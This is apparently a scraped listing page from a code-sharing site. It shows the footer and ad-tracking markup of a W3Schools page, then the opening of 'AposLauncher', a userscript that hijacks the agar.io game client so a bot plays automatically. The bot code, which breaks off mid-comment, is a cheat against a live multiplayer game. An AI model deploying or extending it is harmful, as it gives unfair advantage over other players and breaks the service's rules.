Suggestion:</h2> <form> <div class="w3-section"> <label for="err_email">Your E-mail:</label> <input class="w3-input w3-border" type="text" style="margin-top:5px;width:100%" id="err_email" name="err_email"> </div> <div class="w3-section"> <label for="err_email">Page address:</label> <input class="w3-input w3-border" type="text" style="width:100%;margin-top:5px" id="err_url" name="err_url" disabled="disabled"> </div> <div class="w3-section"> <label for="err_email">Description:</label> <textarea rows="10" class="w3-input w3-border" id="err_desc" name="err_desc" style="width:100%;margin-top:5px;resize:vertical;"></textarea> </div> <div class="form-group"> <button type="button" class="w3-button w3-dark-grey" onclick="sendErr()">Submit</button> </div> <br> </form> --> </div> <div class="w3-container ws-grey w3-padding" id="err_sent" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright">×</span> <h2>Thank You For Helping Us!</h2> <p>Your message has been sent to W3Schools.</p> </div> <div class="w3-row w3-center w3-small"> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Tutorials</h5> <a href="/html/default.asp">HTML Tutorial</a><br> <a href="/css/default.asp">CSS Tutorial</a><br> <a href="/js/default.asp">JavaScript Tutorial</a><br> <a href="/howto/default.asp">How To Tutorial</a><br> <a href="/sql/default.asp">SQL Tutorial</a><br> <a href="/python/default.asp">Python Tutorial</a><br> <a href="/w3css/default.asp">W3.CSS Tutorial</a><br> <a href="/bootstrap/bootstrap_ver.asp">Bootstrap Tutorial</a><br> <a href="/php/default.asp">PHP Tutorial</a><br> <a href="/java/default.asp">Java Tutorial</a><br> <a href="/cpp/default.asp">C++ Tutorial</a><br> <a href="/jquery/default.asp">jQuery Tutorial</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top References</h5> <a href="/tags/default.asp">HTML Reference</a><br> <a href="/cssref/default.asp">CSS Reference</a><br> <a href="/jsref/default.asp">JavaScript Reference</a><br> <a href="/sql/sql_ref_keywords.asp">SQL Reference</a><br> <a href="/python/python_reference.asp">Python Reference</a><br> <a href="/w3css/w3css_references.asp">W3.CSS Reference</a><br> <a href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap Reference</a><br> <a href="/php/php_ref_overview.asp">PHP Reference</a><br> <a href="/colors/colors_names.asp">HTML Colors</a><br> <a href="/java/java_ref_keywords.asp">Java Reference</a><br> <a href="/angular/angular_ref_directives.asp">Angular Reference</a><br> <a href="/jquery/jquery_ref_overview.asp">jQuery Reference</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Examples</h5> <a href="/html/html_examples.asp">HTML Examples</a><br> <a href="/css/css_examples.asp">CSS Examples</a><br> <a href="/js/js_examples.asp">JavaScript Examples</a><br> <a href="/howto/default.asp">How To Examples</a><br> <a href="/sql/sql_examples.asp">SQL Examples</a><br> <a href="/python/python_examples.asp">Python Examples</a><br> <a href="/w3css/w3css_examples.asp">W3.CSS Examples</a><br> <a href="/bootstrap/bootstrap_examples.asp">Bootstrap Examples</a><br> <a href="/php/php_examples.asp">PHP Examples</a><br> <a href="/java/java_examples.asp">Java Examples</a><br> <a href="/xml/xml_examples.asp">XML Examples</a><br> <a href="/jquery/jquery_examples.asp">jQuery Examples</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <!-- <h4>Web Certificates</h4> <a href="/cert/default.asp">HTML Certificate</a><br> <a href="/cert/default.asp">CSS Certificate</a><br> <a href="/cert/default.asp">JavaScript Certificate</a><br> <a href="/cert/default.asp">SQL Certificate</a><br> <a href="/cert/default.asp">Python Certificate</a><br> <a href="/cert/default.asp">PHP Certificate</a><br> <a href="/cert/default.asp">Bootstrap Certificate</a><br> <a href="/cert/default.asp">XML Certificate</a><br> <a href="/cert/default.asp">jQuery Certificate</a><br> <a href="//www.w3schools.com/cert/default.asp" class="w3-button w3-margin-top w3-dark-grey" style="text-decoration:none"> Get Certified &raquo;</a> --> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Web Courses</h5> <a href="https://courses.w3schools.com/courses/html" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on html course link in footer');">HTML Course</a><br> <a href="https://courses.w3schools.com/courses/css" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on css course link in footer');">CSS Course</a><br> <a href="https://courses.w3schools.com/courses/javascript" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on javascript course link in footer');">JavaScript Course</a><br> <a href="https://courses.w3schools.com/programs/front-end" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Front End course link in footer');">Front End Course</a><br> <a href="https://courses.w3schools.com/courses/sql" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on sql course link in footer');">SQL Course</a><br> <a href="https://courses.w3schools.com/courses/python" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on python course link in footer');">Python Course</a><br> <a href="https://courses.w3schools.com/courses/php" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on php course link in footer');">PHP Course</a><br> <a href="https://courses.w3schools.com/courses/jquery" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on jquery course link in footer');">jQuery Course</a><br> <a href="https://courses.w3schools.com/courses/java" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Java course link in footer');">Java Course</a><br> <a href="https://courses.w3schools.com/courses/cplusplus" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on C++ course link in footer');">C++ Course</a><br> <a href="https://courses.w3schools.com/courses/c-sharp" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on bootstrap C# link in footer');">C# Course</a><br> <a href="https://courses.w3schools.com/courses/xml" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on xml course link in footer');">XML Course</a><br> <a href="https://courses.w3schools.com/" target="_blank" class="w3-button w3-margin-top ws-black ws-hover-black w3-round" style="text-decoration:none" onclick="ga('send', 'event', 'Courses' , 'Clicked on get certified button in footer');"> Get Certified »</a> </div> </div> </div> <hr> <div class="w3-center w3-small w3-opacity"> W3Schools is optimized for learning and training. Examples might be simplified to improve reading and learning. Tutorials, references, and examples are constantly reviewed to avoid errors, but we cannot warrant full correctness of all content. While using W3Schools, you agree to have read and accepted our <a href="/about/about_copyright.asp">terms of use</a>, <a href="/about/about_privacy.asp">cookie and privacy policy</a>.<br><br> <a href="/about/about_copyright.asp">Copyright 1999-2022</a> by Refsnes Data. All Rights Reserved.<br> <a href="//www.w3schools.com/w3css/default.asp">W3Schools is Powered by W3.CSS</a>.<br><br> </div> <div class="w3-center w3-small"> <a href="//www.w3schools.com"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a></div><a href="//www.w3schools.com"> <br><br> </a></div><a href="//www.w3schools.com"> </a></div><iframe name="__tcfapiLocator" style="display: none;"></iframe><iframe name="__uspapiLocator" style="display: none;"></iframe><a href="//www.w3schools.com"> <script src="/lib/w3schools_footer.js?update=20220202"></script> <script> MyLearning.loadUser('footer'); function docReady(fn) { document.addEventListener("DOMContentLoaded", fn); if (document.readyState === "interactive" || document.readyState === "complete" ) { fn(); } } uic_r_z(); uic_r_d() </script><iframe src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" style="visibility: hidden; display: none;"></iframe> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </a><script type="text/javascript" src="https://geo.moatads.com/n.js?e=35&amp;ol=3318087536&amp;qn=%604%7BZEYwoqI%24%5BK%2BdLLU)%2CMm~tM!90vv9L%24%2FoDb%2Fz(lKm3GFlNUU%2Cu%5Bh_GcS%25%5BHvLU%5B4(K%2B%7BgeFWl_%3DNqUXR%3A%3D%2BAxMn%3Ch%2CyenA8p%2FHm%24%60%233P(ry5*ZRocMp1tq%5BN%7Bq%60RP%3CG.ceFW%7CoG%22mxT%3Bwv%40V374BKm55%3D%261fp%5BoU5t(KX%3C%3Ce%24%26%3B%23wPjrBEe31k5X%5BG%5E%5B)%2C2iVSWf3Stnq%263t!9jr%7BRzI%2C%7BOCb%25%24(%3DNqU%60W5u%7Bo(zs1CoK%2Bdr%5BG)%2C3ii)RGL3emgSuRVE&amp;tf=1_nMzjG---CSa7H-1SJH-bW7qhB-LRwqH-nMzjG-&amp;vi=111111&amp;rb=2-90xv0J4P%2FoMsPm8%2BZbNmT2EB%2BBOA3JNdQL68hLPh4bg2%2F%2FnQIIWF3Q%3D%3D&amp;rs=1-iHtHGE9B1zA1OQ%3D%3D&amp;sc=1&amp;os=1-3g%3D%3D&amp;qp=10000&amp;is=BBBBB2BBEYBvGl2BBCkqtUTE1RmsqbKW8BsrBu0rCFE48CRBeeBS2hWTMBBQeQBBn2soYggyUig0CBlWZ0uBBCCCCCCOgRBBiOfnE6Bkg7Oxib8MxOtJYHCBdm5kBhIcC9Y8oBXckXBR76iUUsJBCBBBBBBBBBWBBBj3BBBZeGV2BBBCMciUBBBjgEBBBBBB94UMgTdJMtEcpMBBBQBBBniOccBBBBBB47kNwxBbBBBBBBBBBhcjG6BBJM2L4Bk8BwCBQmIoRBBCzBz1BBCTClBBrbGBC4ehueB57NG9aJeRzBqEKBBBBBBB&amp;iv=8&amp;qt=0&amp;gz=0&amp;hh=0&amp;hn=0&amp;tw=&amp;qc=0&amp;qd=0&amp;qf=1240&amp;qe=883&amp;qh=1280&amp;qg=984&amp;qm=-330&amp;qa=1280&amp;qb=1024&amp;qi=1280&amp;qj=984&amp;to=000&amp;po=1-0020002000002120&amp;vy=ot%24b%5Bh%40%22oDgO%3DLlE6%3Avy%2CUitwb4%5Du!%3CFo%40Y_3r%3F%5DAY~MhXyz%26_%5B*Rp%7C%3EoDKmsiFDRz%5EmlNM%22%254ZpaR%5BA7Do%2C%3Bg%2C%2C%40W7RbzTmejO%3Def%2C%7Bvp%7C9%7C_%3Bm_Qrw5.W%2F84VKp%40i6AKx!ehV%7Du!%3CFo%40pF&amp;ql=%3B%5BpwxnRd%7Dt%3Aa%5DmJVOG)%2C~%405%2F%5BGI%3F6C(TgPB*e%5D1(rI%24(rj2Iy!pw%40aOS%3DyNX8Y%7BQgPB*e%5D1(rI%24(rj%5EB61%2F%3DSqcMr1%7B%2CJA%24Jz_%255tTL%3Fwbs_T%234%25%60X%3CA&amp;qo=0&amp;qr=0&amp;i=TRIPLELIFT1&amp;hp=1&amp;wf=1&amp;ra=1&amp;pxm=8&amp;sgs=3&amp;vb=6&amp;kq=1&amp;hq=0&amp;hs=0&amp;hu=0&amp;hr=0&amp;ht=1&amp;dnt=0&amp;bq=0&amp;f=0&amp;j=https%3A%2F%2Fwww.google.com&amp;t=1650718754860&amp;de=466991431602&amp;m=0&amp;ar=bee2df476bf-clean&amp;iw=2a1d5c5&amp;q=2&amp;cb=0&amp;ym=0&amp;cu=1650718754860&amp;ll=3&amp;lm=0&amp;ln=1&amp;r=0&amp;em=0&amp;en=0&amp;d=6737%3A94724%3Aundefined%3A10&amp;zMoatTactic=undefined&amp;zMoatPixelParams=aid%3A29695277962791520917040%3Bsr%3A10%3Buid%3A0%3B&amp;zMoatOrigSlicer1=2662&amp;zMoatOrigSlicer2=39&amp;zMoatJS=-&amp;zGSRC=1&amp;gu=https%3A%2F%2Fwww.w3schools.com%2Ftags%2Ftag_p.asp&amp;id=1&amp;ii=4&amp;bo=2662&amp;bd=w3schools.com&amp;gw=triplelift879988051105&amp;fd=1&amp;ac=1&amp;it=500&amp;ti=0&amp;ih=1&amp;pe=1%3A512%3A512%3A1026%3A846&amp;jm=-1&amp;fs=198121&amp;na=2100642455&amp;cs=0&amp;ord=1650718754860&amp;jv=1483802810&amp;callback=DOMlessLLDcallback_5147906"></script><iframe src="https://www.google.com/recaptcha/api2/aframe" width="0" height="0" style="display: none;"></iframe></body><iframe sandbox="allow-scripts allow-same-origin" id="936be7941bd9c5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://jp-u.openx.net/w/1.0/pd?plm=6&amp;ph=8a7ca719-8c2c-4c16-98ad-37ac6dbf26e9&amp;gdpr=0&amp;us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="94da8182082e79b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eus.rubiconproject.com/usync.html?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="950ad185776f97c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://cdn.connectad.io/connectmyusers.php?us_privacy=1---&amp;"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="960961bdb263a5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&amp;p=157369&amp;gdpr=0&amp;gdpr_consent=&amp;us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="973d77507d8ed2c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://s.amazon-adsystem.com/iu3?cm3ppd=1&amp;d=dtb-pub&amp;csif=t&amp;dl=n-index_pm-db5_ym_rbd_n-vmg_ox-db5_smrt_an-db5_3lift"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="986df094b3ccc6f" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://biddr.brealtime.com/check.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="9984b091a86efa7" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://js-sec.indexww.com/um/ixmatch.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="1004b17db44af55b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://csync.smilewanted.com?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="101af22cac10bcfd" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://onetag-sys.com/usync/?cb=1650718752982&amp;us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="10290b51ae900f2b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eb2.3lift.com/sync?us_privacy=1---&amp;"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="103d27603dbc3983" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://acdn.adnxs.com/dmp/async_usersync.html"> </iframe></html>

    From user hiteshsuthar01

  • lifestylerr / dawd

    names.io, /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.124 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.124; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() { return []; }; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param 